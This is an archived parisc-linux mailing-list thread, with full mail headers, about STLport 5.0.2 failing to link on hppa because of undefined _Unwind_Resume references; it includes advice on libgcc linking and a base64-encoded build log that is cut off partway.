Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 154907D715;
	Wed, 30 Aug 2006 01:35:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D60797D6F3
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 01:35:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03050-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 01:35:05 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id AAD427D6EE
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 01:35:05 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id CAA5E494013; Wed, 30 Aug 2006 01:35:03 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (bueno.cs.tu-berlin.de [130.149.23.253])
	by mail.parisc-linux.org (Postfix) with ESMTP id A83EE494011
	for <parisc-linux@parisc-linux.org>;
	Wed, 30 Aug 2006 01:34:58 -0600 (MDT)
Original-Received: from mailhost.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id JAA03259;
	Wed, 30 Aug 2006 09:27:41 +0200 (MEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP id BB218F253;
	Wed, 30 Aug 2006 09:27:41 +0200 (MEST)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
	by localhost (mail.cs.tu-berlin.de [127.0.0.1]) (amavisd-new,
	port 10224)
	with ESMTP id 14069-16; Wed, 30 Aug 2006 09:27:39 +0200 (MEST) 12679
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP;
	Wed, 30 Aug 2006 09:27:39 +0200 (MEST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.13.6+Sun/8.12.8/Submit) id k7U7Rdo5029453; 
	Wed, 30 Aug 2006 09:27:39 +0200 (MEST)
In-Reply-To: <200608301028.01941.ptr@island.corbina.net>
X-Mailer: VM 7.17 under 21.4 (patch 17) "Jumbo Shrimp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gAjAcMxbTiEtQKyUaGRwad91ZUVSRJet
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25302

[ CCing parisc-linux ]

  Matthias

Petr Ovtchenkov writes:
> On Wednesday 30 August 2006 00:18, you wrote:
> > Hi Petr,
> > 
> > 
> > compiling the library with USE_STATIC_LIBGCC=1 leads to other error messages:
> > 
> > obj/gcc/shared/test_main.o: In function `main':
> > ../../../test/unit/cppunit/test_main.cpp:138: undefined reference to
> > `_Unwind_Resume'
> > obj/gcc/shared/test_main.o: In function `~Reporter':
> > ../../../test/unit/cppunit/cppunit_mini.h:31: undefined reference to
> > `_Unwind_Resume'
> > ../../../test/unit/cppunit/cppunit_mini.h:31: undefined reference to
> > `_Unwind_Resume'
> > obj/gcc/shared/accum_test.o: In function `~TestFixture':
> > ../../../test/unit/cppunit/cppunit_mini.h:41: undefined reference to
> > `_Unwind_Resume'
> > obj/gcc/shared/accum_test.o: In function
> > `stlpmtx_std::__node_alloc<false, 0>::deallocate(void*, unsigned
> > int)':
> > ../../../stlport/stl/_alloc.h:311: undefined reference to `_Unwind_Resume'
> > obj/gcc/shared/accum_test.o:../../../test/unit/accum_test.cpp:42: more
> > undefined references to `_Unwind_Resume' follow
> > 
> > Do you have an idea, what is wrong?
> 
> During modern gcc build process, depends on --enable-shared/--disable-shared options
> it produces following libs:
> 
> 1. --enable-shared: 
>    a) link with shared
>       libgcc_s.so --- runtime gcc support
>       libsupc++.a --- C++ language support
>    b) link with static
>       libgcc.a    --- runtime gcc support
>       libgcc_eh.a --- C++ exceptions support, if you use static libgcc
>       libsupc++.a --- C++ language support
> 
> 2. --disable-shared:
>       libgcc.a    --- runtime gcc support, C++ exceptions support
>       libsupc++.a --- C++ language support
> 
> But on some platform (I treat it as bug in gcc build) not all support
> functions present in correct place. Looks like this is you case.
> 
> See gmake/lib/gcc.mak and gmake/app/gcc.mak for link sequence and my
> comments. Note, that when we build libstlport*, we import whole
> libsupc++.a, so no needs to mention libsupc++.a when link application
> with libstlport*.
> 
>   - ptr
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: build failure of stlport 5.0.2 on hppa
Date: Wed, 30 Aug 2006 20:10:01 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <200608310010.k7V0A2MW016233@hiauly1.hia.nrc.ca>
References: <17653.15850.943986.966989@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624597 27643 80.91.229.3 (22 Nov 2014 02:49:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:57 +0000 (UTC)
Cc: mail.twerner@googlemail.com,
 ptr@island.corbina.net,
 parisc-linux@parisc-linux.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Aug 2006 01:30:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx086) with SMTP; 31 Aug 2006 03:30:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 59CB87D79B;
	Wed, 30 Aug 2006 19:30:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16611-07; Wed, 30 Aug 2006 19:30:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 727747D795;
	Wed, 30 Aug 2006 19:30:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 35E507D793
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 19:30:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16611-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 19:30:44 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 13BD67D78F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 19:30:44 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id C6FA6494016; Wed, 30 Aug 2006 19:30:43 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by mail.parisc-linux.org (Postfix) with ESMTP id A1A01494015
	for <parisc-linux@parisc-linux.org>;
	Wed, 30 Aug 2006 19:30:43 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by cuprel1.hp.com (Postfix) with ESMTP id C6DEFA0CA
	for <parisc-linux@parisc-linux.org>;
	Wed, 30 Aug 2006 17:10:16 -0700 (PDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k7V0A2i1016235;
	Wed, 30 Aug 2006 20:10:03 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k7V0A2MW016233;
	Wed, 30 Aug 2006 20:10:02 -0400 (EDT)
In-Reply-To: <17653.15850.943986.966989@gargle.gargle.HOWL> from "Matthias
	Klose" at Aug 30, 2006 09:27:38 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9gnPcYFReWU7ULeUfHVzzcM5U3U4N4/t
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25303

> > > compiling the library with USE_STATIC_LIBGCC=1 leads to other error messages:
> > > 
> > > obj/gcc/shared/test_main.o: In function `main':
> > > ../../../test/unit/cppunit/test_main.cpp:138: undefined reference to
> > > `_Unwind_Resume'

You need to look at how test_main.o is being linked (e.g., add -v, -Wl,-v,
or -Wl,-debug to the compilation/link command.  There's not enough info
to determine whether this is a GCC or package bug. 

> > 2. --disable-shared:
> >       libgcc.a    --- runtime gcc support, C++ exceptions support
> >       libsupc++.a --- C++ language support
> > 
> > But on some platform (I treat it as bug in gcc build) not all support
> > functions present in correct place. Looks like this is you case.

If not all support functions are present in this case, please file a
GCC PR.  It's highly unlikely this is PA specific.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Torsten Werner" <mail.twerner@googlemail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: build failure of stlport 5.0.2 on hppa
Date: Thu, 31 Aug 2006 23:05:22 +0200
Lines: 252
Approved: news@gmane.org
Message-ID: <a90bfcf0608311405p1f665f99x2df837fa2ab66ca4@mail.gmail.com>
References: <17653.15850.943986.966989@gargle.gargle.HOWL>
	<200608310010.k7V0A2MW016233@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_70633_4369338.1157058322684"
X-Trace: ger.gmane.org 1416624597 27646 80.91.229.3 (22 Nov 2014 02:49:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:57 +0000 (UTC)
Cc: ptr@island.corbina.net,
 parisc-linux@parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Aug 2006 23:35:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 01 Sep 2006 01:35:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5AE1E7D7D6;
	Thu, 31 Aug 2006 17:35:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05392-07; Thu, 31 Aug 2006 17:35:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1ED37D7CA;
	Thu, 31 Aug 2006 17:35:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B16CA7D7C0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 17:35:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05392-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 17:35:00 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7D04D7D7BE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 17:35:00 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 3ADE8494006; Thu, 31 Aug 2006 17:35:00 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by mail.parisc-linux.org (Postfix) with ESMTP id 4D2F0494005
	for <parisc-linux@parisc-linux.org>;
	Thu, 31 Aug 2006 17:34:59 -0600 (MDT)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.188])
	by cuprel1.hp.com (Postfix) with ESMTP id 0271579FA
	for <parisc-linux@parisc-linux.org>;
	Thu, 31 Aug 2006 14:33:47 -0700 (PDT)
Original-Received: by nf-out-0910.google.com with SMTP id n29so575196nfc
	for <parisc-linux@parisc-linux.org>;
	Thu, 31 Aug 2006 14:32:46 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=googlemail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:references;
	b=MsiFaCyQO9JOpPGMU2fa78MLla3VecmW7HoA62luwM15nJZhbiKvfb3Sd2GgEgAOhj18TXE6E9QAtizwuyHlhcU/Vt2LwnBPMjMAkMCxJ6olKCGsfOFyd2CJgh/Al0rczDLR93+hmbx7OgcmBEaPho1PoFa1JGjzjTb336tX9nE=
Original-Received: by 10.48.14.4 with SMTP id 4mr2072389nfn;
	Thu, 31 Aug 2006 14:05:22 -0700 (PDT)
Original-Received: by 10.49.27.5 with HTTP; Thu, 31 Aug 2006 14:05:22 -0700 (PDT)
In-Reply-To: <200608310010.k7V0A2MW016233@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GkDOfGdNYW0+VLuGbmZpMFt0amthc5tX
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25304

------=_Part_70633_4369338.1157058322684
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hi John,

On 8/31/06, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> You need to look at how test_main.o is being linked (e.g., add -v, -Wl,-v,
> or -Wl,-debug to the compilation/link command.  There's not enough info
> to determine whether this is a GCC or package bug.

after adding the suggested arguments (as LDFLAGS=...) the library does
not link any more. I am attaching the build log.


Regards,
Torsten

-- 
http://www.twerner42.de/

------=_Part_70633_4369338.1157058322684
Content-Type: application/octet-stream; name=stlport1
Content-Transfer-Encoding: base64
X-Attachment-Id: f_erjmlguj
Content-Disposition: attachment; filename="stlport1"

YysrIC1wdGhyZWFkIC1mZXhjZXB0aW9ucyAtZmlkZW50ICAtZlBJQyAtTzIgLWcgLWZ1c2UtY3hh
LWF0ZXhpdCAgLURfU1RMUF9SRUFMX0xPQ0FMRV9JTVBMRU1FTlRFRCAtRF9HTlVfU09VUkNFIC1J
Li4vLi4vc3RscG9ydCAtSS9leHBvcnQvaG9tZS9wdHIvd29ya3Nob3AvZXh0ZXJuL2Jvb3N0IC1X
bCwtZGVidWcgIC1vIG9iai9nY2Mvc2hhcmVkL2xpYnN0bHBvcnQuc28uNS4wLjIgL3Vzci9saWIv
Z2NjL2hwcGEtbGludXgtZ251LzQuMS4yLy4uLy4uLy4uL2NydGkubyAvdXNyL2xpYi9nY2MvaHBw
YS1saW51eC1nbnUvNC4xLjIvY3J0YmVnaW5TLm8gb2JqL2djYy9zaGFyZWQvZGxsX21haW4ubyBv
YmovZ2NjL3NoYXJlZC9mc3RyZWFtLm8gb2JqL2djYy9zaGFyZWQvc3Ryc3RyZWFtLm8gb2JqL2dj
Yy9zaGFyZWQvc3N0cmVhbS5vIG9iai9nY2Mvc2hhcmVkL2lvcy5vIG9iai9nY2Mvc2hhcmVkL3N0
ZGlvX3N0cmVhbWJ1Zi5vIG9iai9nY2Mvc2hhcmVkL2lzdHJlYW0ubyBvYmovZ2NjL3NoYXJlZC9v
c3RyZWFtLm8gb2JqL2djYy9zaGFyZWQvaW9zdHJlYW0ubyBvYmovZ2NjL3NoYXJlZC9jb2RlY3Z0
Lm8gb2JqL2djYy9zaGFyZWQvY29sbGF0ZS5vIG9iai9nY2Mvc2hhcmVkL2N0eXBlLm8gb2JqL2dj
Yy9zaGFyZWQvbW9uZXRhcnkubyBvYmovZ2NjL3NoYXJlZC9udW1fZ2V0Lm8gb2JqL2djYy9zaGFy
ZWQvbnVtX3B1dC5vIG9iai9nY2Mvc2hhcmVkL251bV9nZXRfZmxvYXQubyBvYmovZ2NjL3NoYXJl
ZC9udW1fcHV0X2Zsb2F0Lm8gb2JqL2djYy9zaGFyZWQvbnVtcHVuY3QubyBvYmovZ2NjL3NoYXJl
ZC90aW1lX2ZhY2V0cy5vIG9iai9nY2Mvc2hhcmVkL21lc3NhZ2VzLm8gb2JqL2djYy9zaGFyZWQv
bG9jYWxlX2ltcGwubyBvYmovZ2NjL3NoYXJlZC9sb2NhbGVfY2F0YWxvZy5vIG9iai9nY2Mvc2hh
cmVkL2ZhY2V0c19ieW5hbWUubyBvYmovZ2NjL3NoYXJlZC9jb21wbGV4Lm8gb2JqL2djYy9zaGFy
ZWQvY29tcGxleF9leHAubyBvYmovZ2NjL3NoYXJlZC9jb21wbGV4X2lvLm8gb2JqL2djYy9zaGFy
ZWQvY29tcGxleF90cmlnLm8gb2JqL2djYy9zaGFyZWQvY29tcGxleF9pb193Lm8gb2JqL2djYy9z
aGFyZWQvc3RyaW5nX3cubyBvYmovZ2NjL3NoYXJlZC9jX2xvY2FsZS5vIG9iai9nY2Mvc2hhcmVk
L2N4YS5vICAtV2wsLS13aG9sZS1hcmNoaXZlIC1sc3VwYysrICAtV2wsLS1uby13aG9sZS1hcmNo
aXZlIC1sZ2NjX3MgLWxwdGhyZWFkIC1sYyAtbG0gL3Vzci9saWIvZ2NjL2hwcGEtbGludXgtZ251
LzQuMS4yL2NydGVuZFMubyAvdXNyL2xpYi9nY2MvaHBwYS1saW51eC1nbnUvNC4xLjIvLi4vLi4v
Li4vY3J0bi5vCkNvbnZlcnQgc3RyaW5nICcvdXNyL2xpYi9nY2MvaHBwYS1saW51eC1nbnUvNC4x
LjIvOi91c3IvbGliL2djYy9ocHBhLWxpbnV4LWdudS80LjEuMi86L3Vzci9saWIvZ2NjL2hwcGEt
bGludXgtZ251LzovdXNyL2xpYi9nY2MvaHBwYS1saW51eC1nbnUvNC4xLjIvOi91c3IvbGliL2dj
Yy9ocHBhLWxpbnV4LWdudS86L3Vzci9saWJleGVjL2djYy9ocHBhLWxpbnV4LWdudS80LjEuMi86
L3Vzci9saWJleGVjL2djYy9ocHBhLWxpbnV4LWdudS86L3Vzci9saWIvZ2NjL2hwcGEtbGludXgt
Z251LzQuMS4yLzovdXNyL2xpYi9nY2MvaHBwYS1saW51eC1nbnUvOi91c3IvbGliL2djYy9ocHBh
LWxpbnV4LWdudS80LjEuMi8uLi8uLi8uLi8uLi9ocHBhLWxpbnV4LWdudS9iaW4vaHBwYS1saW51
eC1nbnUvNC4xLjIvOi91c3IvbGliL2djYy9ocHBhLWxpbnV4LWdudS80LjEuMi8uLi8uLi8uLi8u
Li9ocHBhLWxpbnV4LWdudS9iaW4vJyBpbnRvIHByZWZpeGVzLCBzZXBhcmF0b3IgPSAnOicKICAt
IGFkZCBwcmVmaXg6IC91c3IvbGliL2djYy9ocHBhLWxpbnV4LWdudS80LjEuMi8KICAtIGFkZCBw
cmVmaXg6IC91c3IvbGliL2djYy9ocHBhLWxpbnV4LWdudS80LjEuMi8KICAtIGFkZCBwcmVmaXg6
IC91c3IvbGliL2djYy9ocHBhLWxpbnV4LWdudS8KICAtIGFkZCBwcmVmaXg6IC91c3IvbGliL2dj
Yy9ocHBhLWxpbnV4LWdudS80LjEuMi8KICAtIGFkZCBwcmVmaXg6IC91c3IvbGliL2djYy9ocHBh
LWxpbnV4LWdudS8KICAtIGFkZCBwcmVmaXg6IC91c3IvbGliZXhlYy9nY2MvaHBwYS1saW51eC1n
bnUvNC4xLjIvCiAgLSBhZGQgcHJlZml4OiAvdXNyL2xpYmV4ZWMvZ2NjL2hwcGEtbGludXgtZ251
LwogIC0gYWRkIHByZWZpeDogL3Vzci9saWIvZ2NjL2hwcGEtbGludXgtZ251LzQuMS4yLwogIC0g
YWRkIHByZWZpeDogL3Vzci9saWIvZ2NjL2hwcGEtbGludXgtZ251LwogIC0gYWRkIHByZWZpeDog
L3Vzci9saWIvZ2NjL2hwcGEtbGludXgtZ251LzQuMS4yLy4uLy4uLy4uLy4uL2hwcGEtbGludXgt
Z251L2Jpbi9ocHBhLWxpbnV4LWdudS80LjEuMi8KICAtIGFkZCBwcmVmaXg6IC91c3IvbGliL2dj
Yy9ocHBhLWxpbnV4LWdudS80LjEuMi8uLi8uLi8uLi8uLi9ocHBhLWxpbnV4LWdudS9iaW4vCkNv
bnZlcnQgc3RyaW5nICcvdXNyL2xvY2FsL2JpbjovdXNyL2JpbjovYmluOi91c3IvYmluL1gxMTov
dXNyL2dhbWVzJyBpbnRvIHByZWZpeGVzLCBzZXBhcmF0b3IgPSAnOicKICAtIGFkZCBwcmVmaXg6
IC91c3IvbG9jYWwvYmluLwogIC0gYWRkIHByZWZpeDogL3Vzci9iaW4vCiAgLSBhZGQgcHJlZml4
OiAvYmluLwogIC0gYWRkIHByZWZpeDogL3Vzci9iaW4vWDExLwogIC0gYWRkIHByZWZpeDogL3Vz
ci9nYW1lcy8KTG9va2luZyBmb3IgJ3JlYWwtbGQnCkxvb2tpbmcgZm9yICdjb2xsZWN0LWxkJwpM
b29raW5nIGZvciAnbGQnCkxvb2tpbmcgZm9yICdsZCcKTG9va2luZyBmb3IgJ2dubScKTG9va2lu
ZyBmb3IgJ2dubScKTG9va2luZyBmb3IgJ25tJwpMb29raW5nIGZvciAnbm0nCkxvb2tpbmcgZm9y
ICdnc3RyaXAnCkxvb2tpbmcgZm9yICdnc3RyaXAnCkxvb2tpbmcgZm9yICdzdHJpcCcKTG9va2lu
ZyBmb3IgJ3N0cmlwJwpMb29raW5nIGZvciAnYysrJwpMb29raW5nIGZvciAnYysrJwpjb2xsZWN0
MiB2ZXJzaW9uIDQuMS4yIDIwMDYwODE0IChwcmVyZWxlYXNlKSAoRGViaWFuIDQuMS4xLTExKSAo
aHBwYSkKbGRfZmlsZV9uYW1lICAgICAgICA9IC91c3IvYmluL2xkCmNfZmlsZV9uYW1lICAgICAg
ICAgPSAvdXNyL2Jpbi9jKysKbm1fZmlsZV9uYW1lICAgICAgICA9IC91c3IvYmluL25tCnN0cmlw
X2ZpbGVfbmFtZSAgICAgPSAvdXNyL2Jpbi9zdHJpcApjX2ZpbGUgICAgICAgICAgICAgID0gL3Rt
cC9jY2ltbXR6Si5jCm9fZmlsZSAgICAgICAgICAgICAgPSAvdG1wL2NjcXl5TVlpLm8KQ09MTEVD
VF9HQ0NfT1BUSU9OUyA9ICctcHRocmVhZCcgJy1mZXhjZXB0aW9ucycgJy1maWRlbnQnICctZlBJ
QycgJy1PMicgJy1nJyAnLWZ1c2UtY3hhLWF0ZXhpdCcgJy1EX1NUTFBfUkVBTF9MT0NBTEVfSU1Q
TEVNRU5URUQnICctRF9HTlVfU09VUkNFJyAnLUkuLi8uLi9zdGxwb3J0JyAnLUkvZXhwb3J0L2hv
bWUvcHRyL3dvcmtzaG9wL2V4dGVybi9ib29zdCcgJy1vJyAnb2JqL2djYy9zaGFyZWQvbGlic3Rs
cG9ydC5zby41LjAuMicgJy1zaGFyZWQtbGliZ2NjJwpDT0xMRUNUX0dDQyAgICAgICAgID0gYysr
CkNPTVBJTEVSX1BBVEggICAgICAgPSAvdXNyL2xpYi9nY2MvaHBwYS1saW51eC1nbnUvNC4xLjIv
Oi91c3IvbGliL2djYy9ocHBhLWxpbnV4LWdudS80LjEuMi86L3Vzci9saWIvZ2NjL2hwcGEtbGlu
dXgtZ251LzovdXNyL2xpYi9nY2MvaHBwYS1saW51eC1nbnUvNC4xLjIvOi91c3IvbGliL2djYy9o
cHBhLWxpbnV4LWdudS86L3Vzci9saWJleGVjL2djYy9ocHBhLWxpbnV4LWdudS80LjEuMi86L3Vz
ci9saWJleGVjL2djYy9ocHBhLWxpbnV4LWdudS86L3Vzci9saWIvZ2NjL2hwcGEtbGludXgtZ251
LzQuMS4yLzovdXNyL2xpYi9nY2MvaHBwYS1saW51eC1nbnUvOi91c3IvbGliL2djYy9ocHBhLWxp
bnV4LWdudS80LjEuMi8uLi8uLi8uLi8uLi9ocHBhLWxpbnV4LWdudS9iaW4vaHBwYS1saW51eC1n
